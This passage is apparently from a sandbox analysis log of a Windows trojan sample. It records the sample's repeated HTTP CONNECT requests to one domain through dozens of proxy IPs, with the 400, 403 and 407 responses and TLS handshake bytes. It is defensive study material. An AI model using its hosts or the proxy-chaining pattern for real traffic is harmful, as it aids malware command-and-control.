Feb 23, 2024 14:28:22.989104033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.155788898 CET	467	IN	HTTP/1.1 403 Forbidden Date: Fri, 23 Feb 2024 13:28:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 306 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.8	50334	162.19.7.46	49579	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.990814924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.341392994 CET	24	IN	HTTP/1.1 403 #string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.8	50448	185.162.228.154	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.995318890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.083095074 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.8	50451	104.16.230.163	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.996876955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.084811926 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.8	50265	93.90.212.2	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:22.998343945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.8	50308	45.11.95.165	5032	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.003093958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.8	50371	54.38.179.203	60406	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.016388893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.8	50469	172.67.150.173	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.019112110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.106789112 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.8	50473	172.64.86.217	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.020654917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.108344078 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.8	50370	113.30.149.76	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.031738997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.8	50417	18.133.16.21	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.051970005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.387455940 CET	165	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/plain X-Powered-By: PHP/5.3.6-13ubuntu3.6 Server: Microsoft-IIS/8.5 Content-Length: 0
Feb 23, 2024 14:28:23.389519930 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 9d 76 ef 7a 4a 52 7c e9 20 c0 43 21 bf 97 81 c5 c1 de c7 3c 8d a5 36 98 81 80 14 90 b4 da 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: evzJR\| C!<6*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#]31VM\1#qJ2la3'QF
Feb 23, 2024 14:28:23.547060966 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 ca b6 19 34 ce 00 25 71 7e 65 fd e0 62 0e ae fc 97 63 5d f5 9e 9f ad f4 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =94%q~ebc]DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240223130621Z260222130621Z03110/U(heygirlisheeverythingyouwantedinaman.c
Feb 23, 2024 14:28:23.549063921 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 ad ed 01 a8 8d b8 41 08 c5 c1 d2 b6 bf 7a 52 fa 6d dc 28 82 c4 f0 f6 da 23 90 42 15 bf cd e8 02 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 d1 86 0c 76 88 5c c1 be 96 78 7c 0e 3d 0a aa 97 15 af 20 7e ce Data Ascii: %! AzRm(#B(v\x\|= ~/Mqq
Feb 23, 2024 14:28:23.707933903 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 61 c2 6f a2 44 a8 72 bb 6a 50 a4 9d 81 f3 75 5c bd 96 64 fe 06 8a 07 da da 8b e5 41 28 cb 7d 03 f4 50 d9 c2 e3 99 9a 42 Data Ascii: (aoDrjPu\dA(}PB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.8	50420	184.169.154.119	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.053807974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.219904900 CET	187	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/plain X-Powered-By: PHP/5.5.9-1ubuntu4.21 Server: BBC 2.6.0.7; com.hp.openview.Coda 0.0.1 Content-Length: 0
Feb 23, 2024 14:28:23.220938921 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 d8 9d 76 da 4d b2 36 ac 85 8a cf 67 f3 fb 02 07 22 91 4a 46 de 3f 61 12 ab 6e ca ca c5 d9 da 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: evM6g"JF?an*,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#h>3/\h8hN;d\+poFJ\|\|
Feb 23, 2024 14:28:23.385500908 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 a4 92 f5 3a ab 84 98 27 98 47 eb 8a a2 e4 25 50 16 25 e2 d2 0c 3f 0a 2e 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9:'G%P%?.DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240223130304Z260222130304Z03110/U(heygirlisheeverythingyouwantedinaman.c
Feb 23, 2024 14:28:23.388637066 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 82 d2 38 c6 de 0f c8 ff 03 70 38 dd 31 e6 cb 82 b9 25 1e 78 1c 7a d3 a2 1a 19 e7 66 26 de aa 60 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 aa 7a 32 dd a9 85 e7 dc e4 35 e3 8b 1e 0c 8c 19 21 f1 53 92 cf Data Ascii: %! 8p81%xzf&`(z25!S%by`<
Feb 23, 2024 14:28:23.550440073 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 fa 01 94 d1 45 5f 08 3a fb 16 10 f9 e9 4d 34 0f 66 5e 9a 09 cc d8 4f e8 c0 ec cb 6e 34 c9 a4 33 56 3b c5 0c e8 ef 70 b3 Data Ascii: (E_:M4f^On43V;p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.8	50266	101.231.64.89	8443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.054858923 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.8	50392	185.38.111.1	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.056572914 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.243664026 CET	75	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Length: 0
Feb 23, 2024 14:28:23.432044983 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.8	50429	198.105.111.86	6764	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.059433937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.317634106 CET	459	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="Invalid proxy credentials or missing IP Authorization." Proxy-Connection: close X-Webshare-Error: 407 X-Webshare-Reason: invalidpassword Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Length: 121 Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 4e 6f 74 20 61 75 74 68 65 6e 74 69 63 61 74 65 64 20 6f 72 20 69 6e 76 61 6c 69 64 20 61 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 63 72 65 64 65 6e 74 69 61 6c 73 2e 20 4d 61 6b 65 20 73 75 72 65 20 74 6f 20 75 70 64 61 74 65 20 79 6f 75 72 20 70 72 6f 78 79 20 61 64 64 72 65 73 73 2c 20 70 72 6f 78 79 20 75 73 65 72 6e 61 6d 65 20 61 6e 64 20 70 6f 72 74 2e Data Ascii: Not authenticated or invalid authentication credentials. Make sure to update your proxy address, proxy username and port.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.8	49761	68.1.210.189	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.077291012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.8	50466	50.63.13.3	11673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.077393055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.491605043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.929142952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.788553953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.694927931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.491885900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.382462025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:33.992018938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.882713079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.8	50486	166.62.53.45	56862	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.087145090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.522846937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.991637945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:24.991821051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:26.882651091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.847687960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.781599045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.492043018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.898828030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.8	50573	104.20.125.124	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.087467909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.175554991 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.8	50576	104.24.15.158	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.088687897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.175721884 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.8	50578	185.162.228.48	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.093170881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:23.180999041 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.8	50579	104.25.135.170	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:23.093296051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
